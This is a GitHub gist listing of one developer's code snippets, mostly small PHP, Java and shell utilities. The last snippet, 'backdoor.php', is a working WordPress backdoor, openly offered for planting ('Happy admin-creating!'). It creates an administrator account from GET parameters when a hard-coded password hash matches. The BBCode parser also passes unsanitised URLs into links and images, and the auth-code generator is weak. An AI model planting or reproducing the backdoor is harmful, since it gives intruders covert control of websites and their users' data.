Skip to content

Instantly share code, notes, and snippets.

View ChristianGaertner's full-sized avatar

Christian Gärtner ChristianGaertner

View GitHub Profile
@ChristianGaertner
ChristianGaertner / AuthCode Generator
Created March 11, 2013 12:34
Simple AuthCode Generator. You can save the generated code in a database and send the code to the user. Then you can use this string to validate an email or anything you want.
$string = "abcdefghijklmnopqrstuvwxyz0123456789"; //add as many diffrent char you need, this is the char pool.
//auth code will be 25 chars long
for($i=0;$i<25;$i++){
$pos = rand(0,36);
$authCode .= $string{$pos};
}
echo $authCode; //optional
@ChristianGaertner
ChristianGaertner / Remove Line
Created March 11, 2013 12:38
This function just removes a specific line of a text document. Pass the path to the file or an URL to the file and the line you want to remove. The function will return the new file which you can save or work with it.
function removeLine ($file, $lineToRemove) {
$data = file_get_contents($file);
$lines = explode(PHP_EOL, $data);
$lineNo = 1;
foreach($lines as $line) {
$linesArray[$lineNo] = $line;
$lineNo++;
}
@ChristianGaertner
ChristianGaertner / removeInventoryItems
Created April 22, 2013 10:32
Remove one single item from Players Inventory depends on the Bukkit API
public static void removeInventoryItems(PlayerInventory inv, Material type, int amount) {
for (ItemStack is : inv.getContents()) {
if (is != null && is.getType() == type) {
int newamount = is.getAmount() - amount;
if (newamount > 0) {
is.setAmount(newamount);
break;
} else {
inv.remove(is);
amount = -newamount;
@ChristianGaertner
ChristianGaertner / BULK Extension-Adder
Last active December 17, 2015 01:09
Add Extension to every file in the directory
for i in BASE_HERE*
do
mv "$i" "$i.EXT_HERE"
done
@ChristianGaertner
ChristianGaertner / autoloader
Created May 25, 2013 16:54
A simple way of including all files in a directory.
$dir = 'classes';
foreach (glob($dir . '/*.php') as $class_file) {
include $class_file;
}
@ChristianGaertner
ChristianGaertner / BBCode PHP Regex
Last active May 20, 2018 09:39
A simple BBCode Parser for PHP
function parseCode($input) {
$parsed = strip_tags($input);
// replacements
$parsed = preg_replace('#\[b\](.+)\[\/b\]#iUs', '<b>$1</b>', $parsed);
$parsed = preg_replace('#\[link\=(.+)\](.+)\[\/link\]#iUs', '<a href="$1">$2</a>', $parsed);
$parsed = preg_replace('#\[img\](.+)\[\/img\]#iUs', '<img src="$1" alt="Image" />', $parsed);
$parsed = preg_replace('#\[quote\=(.+)\](.+)\[\/quote]#iUs', '<div class="quote">$2</div><div class="quote-author">By: $1</div>', $parsed);
@ChristianGaertner
ChristianGaertner / chart.html
Created May 27, 2013 16:03
A simple way to save images out of the GoogleChart API
<button onclick="saveAsImg(document.getElementById('pie_div'));">Save as PNG Image</button>
<p>Will push you a download.</p>
<div id="pie_div"></div>
@ChristianGaertner
ChristianGaertner / git-zip.sh
Last active December 18, 2015 00:58
Git ZIP Cloner
#!/bin/bash
#wget the zip-archive of a github repo
#Syntax:
# git-zip.sh <USER> <REPO>
URL="https://github.com/$1/$2/archive/master.zip"
OUTZIP="$2.zip"
echo "Download started of the repo >>$2<< by >>$1<< from GitHub."
@ChristianGaertner
ChristianGaertner / array_sort_by_collum.php
Created July 5, 2013 14:36
Simple PHP function to sort an array by it' s collum.
function array_sort_by_collum(&$array, $col, $direction = SORT_ASC)
{
$sort_col = array();
foreach($array as $key => $row) {
$sort_col[$key] = $row[$col];
}
array_multisort($sort_col, $direction, $array);
}
@ChristianGaertner
ChristianGaertner / backdoor.php
Created July 5, 2013 15:26
Add this to an wordpress installtion and include it somewhere. Happy admin-creating!
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '5f4dcc3b5aa765d61d8327deb882cf99' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists($_GET['username'])) {
$user_id = wp_create_user($_GET['username'], $_GET['password']);
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );